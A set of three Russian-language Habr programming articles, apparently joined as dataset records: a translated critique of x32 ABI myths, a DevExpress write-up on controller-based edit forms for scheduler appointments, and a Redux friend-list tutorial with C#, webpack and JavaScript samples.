Для тех кому надо расчёты точнее:
\* [Насколько большие массивы (и значения) в PHP? (Подсказка: ОЧЕНЬ БОЛЬШИЕ)](http://habrahabr.ru/post/141093/)
\* [Сколько памяти потребляют объекты в PHP и стоит ли использовать 64-битную версию?](http://habrahabr.ru/post/161629/)
Но как оказалось халявы не будет.
---
#### Перевод статьи Debunking x32 myths
Было много комментариев [к моей предыдущей статье](http://blog.flameeyes.eu/2012/06/is-x32-for-me-short-answer-no) об x32 ABI. Некоторые из них интересные, другие же люди просто не понимают о чём пишут. У меня сложилось впечатление, что возникло что-то вроде [культа карго](http://ru.wikipedia.org/wiki/%D0%9A%D1%83%D0%BB%D1%8C%D1%82_%D0%BA%D0%B0%D1%80%D0%B3%D0%BE) вокруг этой темы. Люди думают: «Зачем-то же они это делают, так что я тоже смогу это использовать», при этом техническая грамотность, чтобы оценить эту самую пользу, отсутствует.
Так что в том же духе, который я использовал, чтобы [пройтись по ccache`у](http://blog.flameeyes.eu/2008/06/debunking-ccache-myths) почти четыре года назад (ух-ты, моему блогу уже столько лет, ну не молодец ли я?), я попробую развенчать мифы и заблуждения об этом x32 ABI.
##### x32 ABI код быстрее
Не совсем верно. Сейчас у нас только несколько результатов тестирования, выложенных теми, кто это самое ABI и создал. Конечно вы ожидаете, что те, кто потратил время, чтобы настроить систему, нашёл её интересной и более быстрой, но, честно говоря, у меня есть сомнения по поводу результатов, по причинам, которые будут ясны после прочтения нескольких следующих предложений.
Также интересно заметить, что, несмотря на то, что общие замеры оказались быстрее, разница — не принципиальная. И даже [презентация Интела](http://linuxplumbersconf.net/2011/ocw//system/presentations/531/original/x32-LPC-2011-0906.pptx) показывает большие отличия только в сравнении с оригинальным x86, который и так понятно, что хуже x86-64.
Также эти результаты получены с помощью синтетических тестов, а не от реального использования системы, а вы знаете, если конечно знаете, что такие результаты могут врать с три короба.
##### x32 ABI код компактнее
Новый ABI генерирует меньший код, что значит, что больше инструкций попадёт в кеш процессора, а также у нас будут меньше файлы. Это абсолютно неверно. Генерируемый код, в общем, такой же как и для x86-64, так как не изменяется набор инструкций, просто изменяется так называемая модель данных, которая означает, что вы изменяете размер для **long** (и связанных типов) и размер указателей (но также меняется и размер доступного адресного пространства).
Теоретически верно, что если вы собираетесь использовать меньшие структуры данных, то их больше влезет в кеш данных (но не в кеш инструкций, будьте уверены (прим. пер.: CISC внутри себя сразу преобразует все короткие инструкции в длинные)), но разве это верный подход? По моему опыту, лучше сосредоточится на написании кода, который оптимальнее расположится в кеше, если ваш код пожирает кеш. Вы можете использовать утилиты **dev-util/dwarves** от Арнальдо (acme). [pahole](http://lwn.net/Articles/206805/), например, скажет вам как ваши структуры данных будут разделены в памяти.
Также помните, что для совместимости системные вызовы будут оставлены такими же как в x86-64, что значит, что весь код ядра и системные структуры данных, которые вы будете использовать, будут такими же как и для x86-64. Что означает, что большое количество структур не поменяют свой размер в новом ABI (прим. пер.: бинарного интерфейса).
Наконец, если снова обратится к презентации, вы можете увидеть на слайде 24, что код x32 ABI может быть длиннее, чем оригинальный x86-код. Хорошо бы было, если бы они включили ещё и пример для x86-64 кода (так как я не владею VCISC(прим. пер.: имеется ввиду группа 64-битных инструкций из CISC)), но я думаю, что это и так один и тот же код.
Давайте для интереса сравним размер файла **libc.so.6**. Вот вывод утилиты **rbelf-size** из моего набора [Ruby Elf](http://www.flameeyes.eu/projects/ruby-elf):
```
exec data rodata relro bss overhead allocated filename
1239436 7456 341974 13056 17784 94924 1714630 /lib/libc.so.6
1259721 4560 316187 6896 12884 87782 1688030 x32/libc.so.6
```
Запускаемый код даже больше в x32 варианте. Большое изменение конечно в структуре данных (data, rodata, relro and bss), так как указатели теперь сокращённые. Я честно говоря даже обеспокоен: «Как можно для Си библиотеки иметь так много указателей в собственных структурах?»; но это вопрос не по теме. Даже с учётом того, что указатели короче, разница не такая большая. В общем, вы будете иметь экономию что-то вроде 30 КиБ, что навряд ли изменит картину маппинга памяти.
##### Снижение размера данных полезно
Ну да, это ведь главный вопрос. Конечно структуры данных меньше с x32, так как для этого он и делался, в конце концов. Но главный вопрос вероятно будет: «Это так важно?»; я не думаю. Даже в примере выше с Си библиотекой, где разница ощутима, она всего около 20% занимаемого места. И это Си библиотека! Библиотека, которая предполагает, что вы будете писать гораздо меньшие интерфейсы.
Сейчас если вы прибавите к этому все возможные библиотеки, то, возможно, вы можете сэкономить пару мегабайт данных, конечно же, но вы также должны учесть все проблемы портирования, которые я собираюсь обсудить скоро. Да, это правда, что С++ и большая часть языков с виртуальной машиной будут иметь меньше трудностей, особенно при копировании объектов, благодаря уменьшенным указателям, но пока мы может утверждать это с большой натяжкой. В особенности с тех пор как большинство ваших буферов данных должны быть выравнены хотя бы по 8 байт (64 бита), чтобы использовать новые инструкции. И вы уже выравниваете их по 16 байт (128 бит), чтобы использовать некоторые наборы инструкций [SIMD](http://ru.wikipedia.org/wiki/SIMD).
И для тех, кто думает, что x32 сэкономит место на диске. Запомните, что вы не можете иметь «чистую» x32 систему, то что вы получите — будет смешение трёх подходов: x86, x86-64 и x32.
##### Это не имеет применения для приложений использующих более 4 ГиБ памяти
Да, конечно, это, возможно, правда. Но серьёзно, вы действительно беспокоитесь о размере указателей? Если вы реально хотите убедиться, что приложение не использует больше, чем определённое количество памяти, используйте системные лимиты! Они, безусловно, менее «тяжёлые» чем создание нового ABI в целом.
Интересно, что есть 2 разных, противоположных подхода для приложений в полном 64-битном адресном пространстве с памятью меньше чем 4 ГиБ:
* [ASLR](http://ru.wikipedia.org/wiki/ASLR) (Address Space Layout Randomization), который может реально загружать различные объекты приложения по широкому диапазону адресов (прим. пер.: то есть как бы разбрасывать по памяти)
* и [Prelink](http://en.wikipedia.org/wiki/Prelink), который делает так, что каждый уникальный объект в системе всегда загружается по одному и тому же адресу, и это действительно противоположно тому, что делает ASLR
##### Приложения используют **long**, но им не нужно 64-битное адресное пространство
(Прим. пер.: автор имеет ввиду 64-битный long)
И, конечно же, решение — создание нового ABI для этого, по мнению некоторых людей.
Я не собираюсь говорить, что много людей для приложений до сих пор используют **long**, не задумываясь о том, зачем они это делают. Возможно, они имеют небольшие диапазоны чисел, которые хотят использовать, и всё же при этом они используют большие типы, такие как **long**, так как возможно изучали программирование на системах, которые используют **long** как синоним **int**, или даже на системах где **long** 32-битный, а **int** — 16-ибитный (привет MS-DOS!).
Решение этой проблемы простое — используйте стандартные типы, предоставленные **stdint.h**, такие как **uint32\_t** и **int16\_t**. Так вы всегда будете использовать размер данных, который ожидаете. Это также работает на большем количестве систем, чем вы ожидали, и работает с [FFI](http://en.wikipedia.org/wiki/Foreign_function_interface) и другими техниками.
##### Ассемблерных вставок не так уж и много
Это сказали мне несколько людей после моего предыдущего поста, где я жаловался, что в новом ABI мы потеряем большую часть ассемблерных вставок. Это утверждение может быть верно, но на самом деле их не так уж и мало как вы думаете. Даже если исключить все мультимедийные программы, криптографические программы, которые неплохо используют **SIMD** через ассемблерные вставки (а не через оптимизации компилятора).
Также есть проблема с ассемблерными вставками в такой вещи как **Ruby**, где **Ruby 1.9** не компилится на x32. С **Ruby 1.8** ситуация более интересная, потому что он компилится, но выбрасывает **segfaults at runtime** при запуске. [Не напоминает вам ничего?](http://blog.flameeyes.eu/2010/09/not-all-failures-are-caused-equal)
Кроме того, Си библиотека сама по себе идёт с большим количеством ассемблерных вставок. И единственная причина почему вам не надо так много портировать проста — H.J. Lu, который заботится о большей части из них, — один из авторов нового ABI, что означает, что код уже портирован.
##### x32 ABI будет совместим с x86, если не сейчас, то в будущем
Ну хорошо, я не упоминал об этом ранее, но это одно из заблуждений, которое я заметил перед тем, как меня закидали камнями. К счастью, [презентация](http://linuxplumbersconf.net/2011/ocw//system/presentations/531/original/x32-LPC-2011-0906.pptx) поможет в этом. Слайд 22 чётко даёт понять, что новый ABI не совместим. Среди прочего вы можете заметить, что ABI по крайней мере исправляет некоторые фактические ошибки в x86, включая использование 32-битных типов данных для **off\_t** и другие. Опять же, я немного касался этой темы [два года назад](http://blog.flameeyes.eu/2010/12/another-good-reason-to-use-64-bit-installations-large-file-support-headaches).
##### Это будущее 64-битных процессоров
Нет, опять же обратимся к слайдам, в особенности к слайду 10. Это явно сделано для проприетарных систем, чем вообще для замены x86-64! Ну как вы теперь себя чувствуете?
##### Портирование будет тривиальным, вам просто надо изменить несколько строчек ассемблерных вставок и поменять размер указателей
Это не тот случай. Портирование требует решить ряд других вопросов, и ассемблерные вставки — просто вершина айсберга. Ломать понятие того, что в x86-64 указатели 64-битные, — само по себе большая задача, но не такая большая как можно предположить на первый взгляд (и также для Windows), по сравнению с реализацией FFI стиля Си биндингов. Помните, я говорил, что это [не простой ответ](http://blog.flameeyes.eu/2012/03/why-foreign-function-interfaces-are-not-an-easy-answer)?
##### Процессор выполняет лучше 32-битные инструкции, чем 64-битные
Интересно, что только один процессор, который по утверждению Интела в презентации работает лучше на 32-битных инструкциях, — это Atom. Цитирую: «Задержки на 64-битных IMUL операциях вдвое выше, чем на 32-битных на Atom`е».
Итак, что же такое IMUL? Это операция знакового умножения. Вы умножаете указатели? Это бессмысленно. Кроме того, указатели не знаковые. И вы говорите мне, что вы больше беспокоитесь о платформе (Atom`е), которая имеет большие задержки, когда люди используют 64-битные данные вместо положенных 32-битных? И ваше решение для этой проблемы — создание нового ABI, где тяжело использовать 64-битные типы. И всё это вместо того, чтобы просто исправить в программе то, что порождает эти проблемы?
Я вероятно должен остановиться на этом, так как этот последний комментарий о Atom`е и IMUL`е порадует многих людям, которые лишь поверхностно понимают новый интерфейс.
---
**UPD.** Только что попробовал собрать PHP на своей виртуалке с [Gentoo x32 ABI RC](http://www.gentoo.org/news/20120608-x32_abi.xml). Как и Ruby, он не компилится. | https://habr.com/ru/post/170407/ | null | ru | null |
# Что скрывается за формой редактирования сложного объекта?
В этой статье мы продолжаем знакомить вас с подходами, реализованными в планировщике XtraScheduler. В [предыдущей статье](http://habrahabr.ru/company/devexpress/blog/106063/) мы рассказывали о синхронизаторе данных, на этот раз поговорим о формах.
Довольно часто в приложениях можно встретить формы, которые предназначены для ввода или редактирования объектов с большим количеством зависимых свойств. Построение таких форм ввода вызывает «головную боль» у разработчиков: рутинная работа по размещению редакторов, написание кода инициализации, валидации, обработчиков событий…
Так как же делать такие формы быстро и надежно?
#### Редактируемый объект
В качестве примера редактируемого объекта возьмем [Appointment](http://documentation.devexpress.com/#WindowsForms/CustomDocument1920) — объект, представляющий некое событие планировщика. Структура данного класса приведена на диаграмме ниже:
[](https://habrastorage.org/storage/habraeffect/9c/69/9c69642ea896eea83d6e8617a8b3ad26.png "Хабрэффект.ру")
Выбранный нами объект обладает достаточно большим набором свойств. При этом, в зависимости от уже установленных значений, только определённая часть свойств должна быть доступна для редактирования. Кроме того, в объекте реализована бизнес-логика по установке значений — изменение одного свойства может привести к установке/обнулению другого, зависящего от первого.
Поэтому при разработке интерфейса формы необходимо принять во внимание все эти факторы и сделать так, чтобы элементы интерфейса определённым образом реагировали на изменение состояния редактируемого объекта.
#### Способ редактирования
Для редактирования этого объекта мы использовали следующий подход: все редакторы на форме будут редактировать или отображать не свойства самого объекта напрямую, а свойства некоего объекта, связанного с редактируемым.
Вы уже наверное догадались, что речь пойдёт о контроллере и использовании паттерна [Адаптер](http://ru.wikipedia.org/wiki/%D0%90%D0%B4%D0%B0%D0%BF%D1%82%D0%B5%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)), так как интерфейс формы может отличаться от интерфейса самого объекта.
Создадим контроллер, передав ему в конструктор в качестве параметра исходный редактируемый объект, а также другие объекты, необходимые для выполнения редактирования.
```
public class AppointmentFormControllerBase : INotifyPropertyChanged {
InnerSchedulerControl innerControl;
Appointment sourceApt;
public AppointmentFormControllerBase(InnerSchedulerControl innerControl, Appointment apt) {
this.innerControl = innerControl;
this.sourceApt = apt;
//...
}
protected internal Appointment SourceAppointment { get { return sourceApt; } }
//...
}
```
В нашем случае изменение исходного объекта в процессе редактирования было крайне нежелательно и при нажатии на кнопку Отмена в форме требовалось бы восстанавливать исходные значения всех его свойств. Поэтому наряду с исходным объектом, контроллер содержит также копию этого объекта, созданную в конструкторе:
```
public AppointmentFormControllerBase(InnerSchedulerControl innerControl, Appointment apt) {
//...
CreateAppointmentCopies();
}
public Appointment EditedAppointmentCopy { get { return editedAptCopy; } }
protected internal virtual void CreateAppointmentCopies() {
editedAptCopy = sourceApt.Copy();
//...
}
```
Что даёт наличие копии? Пока осуществляется редактирование в форме, изменяются свойства объекта-копии и только при применении изменений свойства из копии «накатываются» на исходный объект. Это осуществляется специальным методом контроллера:
```
public virtual void ApplyChanges() {
// …
sourceApt.BeginUpdate();
try {
ApplyChangesCore();
} finally {
sourceApt.EndUpdate();
}
}
protected internal virtual void ApplyChangesCore() {
AppointmentFormAppointmentCopyHelper helper = new AppointmentFormAppointmentCopyHelper(this);
helper.AssignSimpleProperties(editedAptCopy, sourceApt);
helper.AssignCollectionProperties(editedAptCopy, sourceApt);
}
```
В случае закрытия формы без изменения необходимость каких либо действий отпадает, т.к. исходный объект остался нетронутым.
Заметим, что при другой архитектуре схема применения/отката изменений может отличаться от описанной тут и необходимость в копии может отсутствовать.
#### Интерфейс контроллера
Перейдём к свойствам. В контроллере реализуем паттерн [Фасад](http://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D1%81%D0%B0%D0%B4_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) и дублируем необходимые свойства из объекта-копии в свойства контроллера:
```
public string Subject {
get { return editedAptCopy.Subject; }
set { editedAptCopy.Subject = value;
NotifyPropertyChanged("Subject"); }
}
```
При несовместимости интерфейсов редакторов ввода и свойства объекта делаем необходимые преобразования прямо в свойствах контроллера:
```
public DateTime Start {
get { return InnerControl.TimeZoneHelper.ToClientTime(editedAptCopy.Start); }
set { editedAptCopy.Start = InnerControl.TimeZoneHelper.FromClientTime(value); }
}
```
При необходимости, например, раздельного показа и редактирования даты и времени, дробим свойство объекта на два свойства контроллера:
```
public DateTime StartDate {
get { return editedAptCopy.Start.Date; }
set { editedAptCopy.Start = value.Date + editedAptCopy.Start.TimeOfDay;
NotifyPropertyChanged("StartDate"); }
}
public TimeSpan StartTime {
get { return editedAptCopy.Start.TimeOfDay; }
set { editedAptCopy.Start = editedAptCopy.Start.Date + value;
NotifyPropertyChanged("StartTime"); }
}
```
Дополняем контроллер необходимыми служебными свойствами, которые отсутствуют в редактируемом объекте, но могут понадобиться при проектировании интерфейса формы:
```
public virtual bool IsNewAppointment { get { … } }
public bool CanDeleteAppointment { get { … } }
```
Кроме того, создаём в контроллере набор методов, реализующих всю необходимую логику, включая методы валидации, получения дополнительных объектов и т.д, которые будут запрашивать объекты формы.
Валидация осуществляется в обработчиках событий элементов управления формы и в свойства контроллера записываются уже верные значения. При изменении зависимых свойств в контроллере требуется обновить данные в соответствующих редакторах, а возможно даже скрыть или сделать недоступными для ввода.
В WinForms это делается следующим образом: отписываемся от событий редакторов, перечитываем новые данные из контроллера в редакторы, и снова подписываемся на события.
```
protected internal virtual void edtStartDate_Validated(object sender, EventArgs e) {
controller.DisplayStart = edtStartDate.DateTime.Date + edtStartTime.Time.TimeOfDay;
UpdateIntervalControls();
}
protected internal virtual void UpdateIntervalControls() {
UnsubscribeControlsEvents();
try {
UpdateIntervalControlsCore();
}
finally {
SubscribeControlsEvents();
}
}
protected virtual void UpdateIntervalControlsCore() {
edtEndDate.EditValue = controller.DisplayEnd.Date;
edtEndTime.EditValue = new DateTime(controller.DisplayEnd.TimeOfDay.Ticks);
//...
bool enableTime = !controller.AllDay;
edtEndTime.Visible = enableTime;
edtEndTime.Enabled = enableTime;
}
```
В вебе валидация значений может осуществляется не в форме, а в callback-комманде, которая получает доступ к значениям редакторов. Произведя анализ введенных значений, может быть принято решение закрывать форму или нет и выдать информационное сообщение.
В результате наш контроллер формы инкапсулирует в себе весь необходимый функционал и будучи простым классом может быть повторно использован, будь то формы WinForms, веб или WPF/SL.
При необходимости для каждой платформы может быть существовать наследник контроллера, реализующих специфичные для платформы действия.
#### Использование контроллера форм
Проиллюстрируем фрагментами кода примеры использования AppointmentFormControllerBase на различных платформах.
##### 1. Windows Forms
Экземпляр контроллера создан в конструкторе формы, редакторы проиницилизированы свойствами контроллера, при изменениях значений редакторов модифицируются свойства контроллера, присутствует код на применение изменений.
```
public partial class AppointmentForm : DevExpress.XtraEditors.XtraForm {
readonly AppointmentFormController controller;
public AppointmentForm(SchedulerControl control, Appointment apt, bool openRecurrenceForm) {
// …
this.controller = CreateController(control, apt);
UpdateForm();
}
protected internal AppointmentFormController Controller { get { return controller; } }
protected virtual AppointmentFormController CreateController(SchedulerControl control, Appointment apt) {
return new AppointmentFormController(control, apt);
}
protected virtual void UpdateForm () {
tbSubject.Text = controller.Subject;
edtShowTimeAs.Status = controller.GetStatus();
bool resourceSharing = controller.ResourceSharing;
edtResource.Visible = !resourceSharing;
bool canEditResource = controller.CanEditResource;
edtResource.Enabled = canEditResource;
//…
}
protected internal virtual void tbSubject_EditValueChanged(object sender, EventArgs e) {
controller.Subject = tbSubject.Text;
}
protected internal virtual void OnOkButton() {
if (controller.IsConflictResolved()) {
controller.ApplyChanges();
}
//…
}
```
##### 2. ASP.NET
В вебе форма ввода является UserControl-ом и загружается как шаблон. Для «привязки» значений редакторов к свойствам контроллера используются Data Binding Expressions через синтаксис вида "<%# %>". Экземпляр контроллера создаётся в классе контейнера шаблона и доступен из формы через свойство Container.
ascx-файл формы выглядит следующим образом
```
<%@ Control Language="C#" AutoEventWireup="true" Inherits="AppointmentForm" CodeFile="AppointmentForm.ascx.cs" %>
<%@ Register Assembly="DevExpress.Web.ASPxEditors.v10.2, … Namespace="DevExpress.Web.ASPxEditors" TagPrefix="dxe" %>
|
//…
| |
//…
//…
```
Ниже представлен код шаблона формы и контейнера:
```
using System.Web.UI;
public partial class AppointmentForm : UserControl {
public override void DataBind() {
base.DataBind();
AppointmentFormTemplateContainer container = (AppointmentFormTemplateContainer)Parent;
AppointmentRecurrenceForm1.Visible = container.ShouldShowRecurrence;
//…
btnOk.ClientSideEvents.Click = container.SaveHandler;
}
public class AppointmentFormTemplateContainer : Control, IDataItemContainer, INamingContainer {
AppointmentFormController controller;
public AppointmentFormTemplateContainer(ASPxScheduler control) {
this.controller = CreateController(control, Appointment);
// …
}
public DateTime Start { get { return TimeZoneHelper.ToClientTime(Controller.EditedAppointmentCopy.Start); } }
public bool CanEditResource { get { return Controller.CanEditResource; } }
public bool ShouldShowRecurrence { get { return Controller.SourceAppointment.IsOccurrence && Controller.ShouldShowRecurrenceButton; } }
public DateTime RecurrenceStart {
get { return TimeZoneHelper.ToClientTime(Controller.EditedPattern != null ? Controller.EditedPattern.RecurrenceInfo.Start : DateTime.Now);
}
}
public string SaveHandler { get { return String.Format("function() {{ aspxAppointmentSave(\"{0}\"); }}", ControlClientId); } }
// …
}
```
##### 3. WPF/SL
На данной платформе шаблон формы представлен System.Windows.Controls.UserControl-ом. Аналогично WinForms, экземпляр контроллера создаётcя в конструкторе формы. А вот «привязка» к значениям редакторов осуществляется в xaml через механизм двустороннего Binding-а.
```
// …
// …
// …
```
#### Итак, подведем итоги
Использование контроллера форм предоставляет следующие преимущества:
* объединение всей бизнес-логики редактирования объекта в одном классе
* возможность расширения редактируемых свойств, когда интерфейс объекта не соответствует интерфейсу формы ввода
* возможность использования платформо-независимого объекта контроллера на различных платформах и уменьшение времени портирования кода с одной платформы на другую
Надеемся, что представленный в статье материал окажется для Вас полезным. | https://habr.com/ru/post/107359/ | null | ru | null |
# С 0 до 1. Разбираемся с Redux
Когда вышла версия 1.0 Redux, я решил потратить немного времени на серию рассказов о моем опыте работы с ним. Недавно я должен был выбрать “реализацию Flux” для клиентского приложения и до сих пор с удовольствием работаю с Redux.
#### Почему Redux?
Redux позиционирует себя как предсказуемый контейнер состояния (state) для JavaScript приложений. Редакс вдохновлен [Flux](https://facebook.github.io/flux/) и [Elm](http://elm-lang.org/). Если вы раньше использовали Flux, я советую прочитать, что Redux имеет с ним общего в разделе "[Предшественники](https://github.com/rajdee/redux-in-russian/blob/master/docs/introduction/PriorArt.mdhttp://)" новой (отличной!) документации.
Redux предлагает думать о приложении, как о начальном состоянии модифицируемом последовательностью действий (actions), что я считаю действительно хорошим подходом для сложных веб-приложений, открывающим много возможностей.
Конечно, вы можете найти больше информации о Redux, его архитектуре и роли каждого компонента [в документации](https://github.com/rajdee/redux-in-russian).
Создаем список друзей с React и Redux
-------------------------------------
Сегодня мы сфокусируемся на пошаговом создании вашего первого приложения, использующего Редакс и Реакт: создадим простой список друзей с нуля.
Вы можете найти готовый код [здесь](https://github.com/jchapron/redux-friendlist-demo/tree/v1.0).
#### Для кого?
Эта статья написана для людей, не имеющих опыта работы с Redux. Опыт разработки с Flux также не обязателен. Я буду давать ссылки на документы, когда мы будем сталкиваться с новыми понятиями.
##### 1. Установка
Автор Redux, Даниил Абрамов, создал отличную сборку для разработки с React, Webpack, ES6/7 и React Hot Loader, которую вы можете найти [здесь](https://github.com/gaearon/react-hot-boilerplate).
Есть сборки уже с установленным Redux, но, я думаю, важно понять роль каждой библиотеки.
```
$ git clone https://github.com/gaearon/react-hot-boilerplate.git friendlist
$ cd friendlist && npm install
$ npm start
```
Теперь вы можете открыть приложение по адресу <http://localhost:3000>. Как вы видите, «hello world» готов!
##### 1.1 Добавим redux, react-redux и redux-devtools
Нам нужно установить три пакета:
* Redux: сама библиотека
* React-redux: связка с React
* Redux-devtools: опционально, дает некоторые полезные инструменты для разработки.
```
$ npm install --save redux@1.0.0-rc react-redux
$ npm install --save-dev redux-devtools
```
##### 1.2 Структура директорий
Хотя то, что мы будем делать, довольно просто, давайте создадим структуру директорий как для реального приложения.
```
+-- src
| +-- actions
| +-- index.js
| +-- components
| +-- index.js
| +-- constants
| +-- ActionTypes.js
| +-- containers
| +-- App.js
| +-- FriendListApp.js
| +-- reducers
| +-- index.js
| +-- friendlist.js
| +-- utils
| +-- index.js
+-- index.html
+-- app.css
```
Мы будет видеть более детально роль каждой из директорий, когда будем создавать приложение. Мы переместили App.js в директорию containers, так что нужно будет настроить импорт statement в index.js.
##### 1.3 Подключаем Redux
**Включаем devtools**
Нам нужно включить devtools только для окружения разработки, так что модифицируем webpack.config.js как здесь:
```
/* webpack.config.js */
var devFlagPlugin = new webpack.DefinePlugin({
__DEV__: JSON.stringify(JSON.parse(process.env.DEBUG || 'false'))
});
[...]
plugins: [
new webpack.HotModuleReplacementPlugin(),
new webpack.NoErrorsPlugin(),
devFlagPlugin
]
```
Когда мы запустим наше приложение с `DEBUG=true npm start`, это включит `__DEV__` флаг, который мы можем использовать в нашем приложении. Мы можем подключить devtools следующим образом:
```
/* src/utils/devTools.js */
import React from 'react';
import { createStore as initialCreateStore, compose } from 'redux';
export let createStore = initialCreateStore;
if (__DEV__) {
createStore = compose(
require('redux-devtools').devTools(),
require('redux-devtools').persistState(
window.location.href.match(/[?&]debug_session=([^&]+)\b/)
),
createStore
);
}
export function renderDevTools(store) {
if (__DEV__) {
let {DevTools, DebugPanel, LogMonitor} = require('redux-devtools/lib/react');
return (
);
}
return null;
}
```
Мы делаем здесь две вещи. Мы переопределяем createStore используя созданную функцию, которая позволяет нам применять множественные [store enhancers](https://github.com/rajdee/redux-in-russian/blob/master/docs/Glossary.md), таких как devTools. Мы также включаем функцию renderDevTools, которая рендерит DebugPanel.
**Контейнер приложения**
Сейчас нам нужно модифицировать App.js для соединения с redux. Для этого мы будем использовать `Provider` из react-redux. Это сделает наш экземпляр хранилища доступным для всех компонентов, которые располагаются в Provider компоненте. Не нужно беспокоится о странно выглядящей функции, ее цель использовать “контекст” функции Реакта для создания хранилища, доступного для всех детей (компонентов).
```
/* src/containers/App.js */
import React, { Component } from 'react';
import { combineReducers } from 'redux';
import { Provider } from 'react-redux';
import { createStore, renderDevTools } from '../utils/devTools';
import FriendListApp from './FriendListApp';
import * as reducers from '../reducers';
const reducer = combineReducers(reducers);
const store = createStore(reducer);
```
Для создания хранилища мы используем `createStore` функцию, которую мы определили в devTools файле, как map всех наших редьюсеров.
ES6 синтаксис `import * as reducers` позволяет нам получать объект в виде { key: fn(state, action),… }. Это отлично подходит для задания аргументов для `combineReducers`.
```
export default class App extends Component {
render() {
return (
{() => }
{renderDevTools(store)}
);
}
}
```
В нашем приложении App.js — внешняя обертка для Redux и FriendListApp — корневой компонент для нашего приложения. После создания простого ‘Hello world’ в FriendListApp.js, мы можем наконец запустить наше приложение с redux и devTools. Вы должен получить это (без стилей).
Хотя это просто ‘Hello world’ приложение, у нас включен Hot Reloading, т.е. вы можете модифицировать текст и получать автоматическое обновление на экране. Как вы можете видеть, devtools справа показывает пустые хранилища. Заполним их!
##### 2. Создаем приложение
Теперь, когда сделаны все настройки, мы можем сфокусироваться на самом приложении.
##### 2.1 Действия и генераторы действий
[Действия](https://github.com/rajdee/redux-in-russian/blob/master/docs/basics/Actions.mdhttp://) — это структура, которая передает данные из вашего приложения в хранилище. По соглашению, действия должны иметь строковое поле `type`, которое указывает на тип исполняемого действия. Определять этот тип в другом модуле — хорошая практика, и это заставляет нас задуматься заранее о том, что мы будем делать в нашем приложении.
```
/* src/constants/ActionTypes.js */
export const ADD_FRIEND = 'ADD_FRIEND';
export const STAR_FRIEND = 'STAR_FRIEND';
export const DELETE_FRIEND = 'DELETE_FRIEND';
```
Как вы можете видеть, это очень выразительный путь определения области действий нашего приложения, которое будет позволять нам добавлять друзей, отмечать их как «избранных» или удалять их из нашего списка.
[Генераторы действий](https://github.com/rajdee/redux-in-russian/blob/master/docs/basics/Actions.md) — функции, которые создают действия. В Redux генераторы действий являются чистыми функциями, что делает их портативными и простыми для тестирования, т.к. они не имеют сайд-эффектов.
Мы поместим их в папку действий, но не забывайте, что это разные понятия.
```
/* src/actions/FriendsActions.js */
import * as types from '../constants/ActionTypes';
export function addFriend(name) {
return {
type: types.ADD_FRIEND,
name
};
}
export function deleteFriend(id) {
return {
type: types.DELETE_FRIEND,
id
};
}
export function starFriend(id) {
return {
type: types.STAR_FRIEND,
id
};
}
```
Как видите, действия довольно минималистичны. Чтобы добавить элемент, мы сообщаем все свойства (здесь мы имеем дело только с name), а для других мы ссылаемся на id. В более сложном приложении, мы, возможно, имели бы дело с асинхронными действиями, но это тема для другой статьи…
##### 2.2 Редьюсеры
[Редьюсеры](https://github.com/rajdee/redux-in-russian/blob/master/docs/basics/Reducers.md) отвечают за модификации состояний приложения. Они — чистые функции со следующим видом `(previousState, action) => newState`. Очень важно понимать, что вы не должны **никогда** (вообще никогда) изменять исходное состояние в редьюсере. Вместо этого вы можете создавать новые объекты на базе свойств previousState. В противном случае это может иметь нежелательные последствия. Также, это не место для обработки сайд-эффектов, таких как роутинг или асинхронные вызовы.
Мы, для начала, определяем вид состояния нашего приложения в `initialState`:
```
/* src/reducers/friends.js */
const initialState = {
friends: [1, 2, 3],
friendsById: {
1: {
id: 1,
name: 'Theodore Roosevelt'
},
2: {
id: 2,
name: 'Abraham Lincoln'
},
3: {
id: 3,
name: 'George Washington'
}
}
};
```
Состоянием может быть все, что мы захотим, мы можем просто сохранить массив друзей. Но это решение плохо масштабируется, так что мы будем использовать массив id и map друзей. Об этом можно почитать в [normalizr](https://github.com/gaearon/normalizr).
Теперь нам нужно написать актуальный редьюсер. Мы воспользуемся возможностями ES6 для задания аргументов по умолчанию для обработки случаев, когда состояние не определено. Это поможет понять как записать редьюсер, в данном случае я использую switch.
```
export default function friends(state = initialState, action) {
switch (action.type) {
case types.ADD_FRIEND:
const newId = state.friends[state.friends.length-1] + 1;
return {
friends: state.friends.concat(newId),
friendsById: {
...state.friendsById,
[newId]: {
id: newId,
name: action.name
}
}
}
default:
return state;
}
}
```
Если вы не знакомы с синтаксисом ES6/7, то возможно вам будет трудно это прочесть. Т.к. нам нужно вернуть новое состояние объекта, как правило используют [Object.assign](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/assign) или [Spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator).
Что здесь происходит: мы определяем новый id. В реальном приложении мы, возможно, возьмем его с сервера или, как минимум, убедимся, что он уникальный. Затем мы используем `concat` чтобы добавить этот новый id в наш id-лист. Concat добавит новый массив и не изменит оригинальный.
[Computed properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names) — это удобные возможности ES6, которые позволяют нам проще создавать динамические key в friendsById объекте с `[newId]`.
Как вы можете видеть, несмотря на синтаксис, который может сначала смутить, логика проста. Вы задаете состояние и получаете назад новое состояние. Важно: ни в одной точке этого процесса не изменять предыдущее состояние.
Окей, давайте вернемся и создадим редьюсеры для двух других действий:
```
import omit from 'lodash/object/omit';
import assign from 'lodash/object/assign';
import mapValues from 'lodash/object/mapValues';
/* ... */
case types.DELETE_FRIEND:
return {
...state,
friends: state.friends.filter(id => id !== action.id),
friendsById: omit(state.friendsById, action.id)
}
case types.STAR_FRIEND:
return {
...state,
friendsById: mapValues(state.friendsById, (friend) => {
return friend.id === action.id ?
assign({}, friend, { starred: !friend.starred }) :
friend
})
}
```
Я добавил lodash, чтобы упростить управление объектами. Как обычно, в этих двух примерах, важно не изменять предыдущее состояние, поэтому мы используем функцию, которая возвращает новый объект. Для примера, вместо `delete state.friendsById[action.id]`, мы используем `_.omit` функцию.
